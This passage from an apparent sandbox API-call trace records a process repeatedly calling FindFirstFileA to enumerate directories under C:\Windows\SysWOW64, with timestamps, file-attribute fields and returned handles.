lpFileName="C:\\Windows\\SysWOW64\\0409\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229791ec, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.944] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\AdvancedInstallers\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cdedaf6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cdedaf6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.952] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\ar-SA\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x26b05670, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x26b05670, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.956] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\bg-BG\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x26b2b7d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x26b2b7d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.959] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\catroot\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3986c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xe3986c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xc4c8bad2, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.960] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\catroot2\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f9c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xe5f9c6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xc4c8bad2, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.966] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\com\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5f9c6, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2724f9d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2724f9d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.967] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\com\\dmp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa35dd730, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501548, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.968] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\com\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x27275b30, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x27275b30, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.970] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xf1e088, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.970] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\Journal\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.971] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\RegBack\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.971] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xef7f2e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xef7f2e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.972] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xef7f2e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x51ab36f5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x51ab36f5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.972] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.972] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0151.973] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0151.973] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2829382e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2829382e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2829382e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0151.974] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x272c1df0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x272c1df0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0151.975] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x272e7f50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x272e7f50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18ef80, dwReserved1=0x5015ba, cFileName=".", cAlternateFileName="")) returned 0x502758 [0151.976] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x273804d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x273804d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f12c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502718 [0151.976] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2735a370, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2735a370, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0151.976] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0PS72R2M\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x272e7f50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x272e7f50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0151.977] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2730e0b0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2730e0b0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18ee8c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502798 [0151.978] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\FZG8CKJ5\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2735a370, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2735a370, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18ee30, dwReserved1=0x5015f4, cFileName=".", cAlternateFileName="")) returned 0x502798 [0151.979] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LIXMVQOA\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x273804d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x273804d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18ee30, dwReserved1=0x5015f4, cFileName=".", cAlternateFileName="")) returned 0x502798 [0151.979] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\LocalLow\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x51ab36f5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.979] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0151.980] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x524ab327, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x524ab327, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0151.980] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x273f28f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x273f28f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0151.981] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x524ab327, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27418a50, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x27418a50, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f12c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502718 [0151.981] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Roaming\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.982] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0151.982] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a57006, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a57006, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0151.982] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x24a57006, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27464d10, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x27464d10, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0151.983] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\config\\TxR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xf1e088, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xadb261cb, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700041, dwReserved1=0x440070, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.985] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\cs-CZ\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2748ae70, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2748ae70, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.996] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\da-DK\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x275bb970, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x275bb970, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.998] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\de-DE\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e088, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x275e1ad0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x275e1ad0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.002] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\Dism\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x27653ef0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x27653ef0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.003] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\Dism\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e52f2f2, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2767a050, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2767a050, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.015] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\drivers\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf441e2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x277849f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x277849f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.016] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\drivers\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9ce759, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2775e890, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2775e890, 